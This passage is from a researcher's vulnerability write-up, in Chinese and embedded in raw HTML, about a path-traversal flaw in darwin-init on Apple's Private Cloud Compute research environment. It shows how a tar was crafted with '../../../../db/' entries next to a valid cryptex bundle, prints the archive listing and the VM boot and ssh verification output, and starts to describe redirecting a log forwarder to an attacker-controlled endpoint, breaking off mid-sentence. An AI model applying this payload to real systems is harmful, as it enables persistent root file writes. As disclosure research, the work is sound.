normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">有两个控制措施本可以防止这一点。cryptex 配置会经过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PrivateCloudOSValidator.validate(cryptexConfig:)</span></code><span leaf="">，而在已发布的源码中这是一个空函数体。每个 cryptex 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sha256</span></code><span leaf="">摘要是可选的，因此当攻击者提供配置时，可以省略完整性验证。我利用了这一点。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">提取路径</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">提取基目录有四层深：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">/var/tmp/darwin-init/cryptex/&lt;UUID&gt;/</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此遍历选项如下所述：</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">..</span></code></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">解析为</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">备注</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">×3</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/var/tmp/</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">被 USR 擦除</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">×4</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/var/db/</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">持久化</span></strong></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">×5</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件系统根目录</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">三个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">..</span></code><span leaf="">到达 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/var/tmp/</span></code><span leaf="">，USR 会将其擦除，因此在这种情况下对持久化和利用毫无用处。四个到达可写数据卷上的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/var/db/</span></code><span leaf="">，它在重启后持久保存。这正是我想要并利用的位置。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">构造恶意 cryptex</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是我不得不反复实验的一个有趣部分。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个装满遍历条目的原始 tar 会写入我的文件，然后由于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fullyApplied</span></code><span leaf="">检查失败而失败，如前所述，启动会挂起。因此载荷必须同时具备两个身份：一个有效的路径遍历利用程序和一个结构上合法、能通过检查的 cryptex。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">所以我的做法是：一个 tar 归档包含两类条目。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">1) 以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">../../../../db/</span></code><span leaf="">为前缀的遍历条目逃逸到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/var/db/</span></code><span leaf="">。在它们旁边放着一个完整、合法的 cryptex 包，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Restore/BuildManifest.plist</span></code><span leaf="">和</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2) 一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Restore/Cryptex/POC_DEMO/{gdmg,ginf,gtcd,gtgv}</span></code><span leaf="">集合，通过在一个一次性的源目录上运行 Apple 自己的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pccvre cryptex create</span></code><span leaf="">并提取生成的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.aar</span></code><span leaf="">产生。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在：遍历条目首先在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/var/db/</span></code><span leaf="">中提取。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Restore/</span></code><span leaf="">子树落在提取目录中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cryptexctl personalize</span></code><span leaf="">在那里检查它。个性化成功，安装成功，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fullyApplied</span></code><span leaf="">通过，USR 触发，节点终于干净地启动了！</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下是最终完成的归档，来自构建工具的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">inspect</span></code><span leaf="">命令：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ python3 CVE-2026-20685.py inspect malicious_cryptex.tar</span><br/><span leaf="">[F]  ../../../../db/poc_darwin_init_traversal_proof           357 B   traversal</span><br/><span leaf="">[F]  ../../../../db/prcos/splunkloggingd/config-main.plist    836 B   traversal</span><br/><span leaf="">[D]  Restore/</span><br/><span leaf="">[D]  Restore/Cryptex/</span><br/><span leaf="">[F]  Restore/BuildManifest.plist                             1746 B   bundle</span><br/><span leaf="">[D]  Restore/Cryptex/POC_DEMO/</span><br/><span leaf="">[F]  Restore/Cryptex/POC_DEMO/gdmg                          14336 B   bundle</span><br/><span leaf="">[F]  Restore/Cryptex/POC_DEMO/ginf                            527 B   bundle</span><br/><span leaf="">[F]  Restore/Cryptex/POC_DEMO/gtcd                             46 B   bundle</span><br/><span leaf="">[F]  Restore/Cryptex/POC_DEMO/gtgv                            229 B   bundle</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">前两个条目提取到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/var/db/</span></code><span leaf="">。其余的是真正的 cryptex 包。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">在 VRE 上的证明</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我从 PCC 版本 37684 构建了一个 VRE 实例，并将恶意 tar 注册为第三个 cryptex，与两个 Apple 提供的发布资产并列。当虚拟机启动时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pccvre</span></code><span leaf="">在宿主机上启动一个 HTTP 服务器，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">darwin-init</span></code><span leaf="">将设备身份 POST 到该服务器，取回一个完整的远程配置，然后通过 HTTP 下载配置命名的每个 cryptex，包括我的。两个 Apple </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.aar</span></code><span leaf="">资产匹配 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AA01</span></code><span leaf="">并采用安全的提取器。我的 tar 不匹配任何内容，落入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">extract(to:)</span></code><span leaf="">。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ /System/Library/SecurityResearch/usr/bin/pccvre instance start --debug -N demo</span><br/><span leaf="">HTTP service started: 192.168.64.1:58538</span><br/><span leaf="">DarwinInitHelper update cryptex:</span><br/><span leaf="">  malicious_cryptex.tar -&gt; <a href="http://192.168.64.1:58538/malicious_cryptex.tar" target="_blank">http://192.168.64.1:58538/malicious_cryptex.tar</a></span><br/><span leaf="">Starting VM: demo  (ecid: 3443e8d0ffe39efa)</span><br/><span leaf="">Started VM: demo</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">几秒钟后节点启动了。为了确认，我使用了一个仅研究用的 Debug Shell（生产环境中不存在）进行验证。该 shell 不带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cat</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls</span></code><span leaf="">，因此读取使用了内建命令：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ ssh root@192.168.64.50 &#39;echo &#34;$(&lt; /var/db/poc_darwin_init_traversal_proof)&#34;&#39;</span><br/><span leaf="">PATH_TRAVERSAL_CONFIRMED: Written by</span><br/><span leaf="">  darwin-init FilePath+Archive.swift:95</span><br/><span leaf="">Extraction base: /var/tmp/darwin-init/cryptex/&lt;UUID&gt;/</span><br/><span leaf="">Target: /var/db/poc_darwin_init_traversal_proof</span><br/><span leaf="">$ ssh root@192.168.64.50 &#39;test -f /var/db/.DarwinSetupDone &amp;&amp; echo BOOT_COMPLETED&#39;</span><br/><span leaf="">BOOT_COMPLETED</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该文件由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">root</span></code><span leaf="">写入，远在提取目录之外，并且它经受住了用户空间重启。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.DarwinSetupDone</span></code><span leaf="">确认启动正常完成。完美。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我想提高它的影响，于是探索了用 root 文件写入能做些什么。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">将 splunkloggingd 重定向到我自己控制的端点</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PCC 随附 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">splunkloggingd</span></code><span leaf="">，一个内部日志转发器。它的 LaunchDaemon 使用一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PathState</span></code><span leaf="">KeepAlive，检查可写数据卷上的一个文件 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 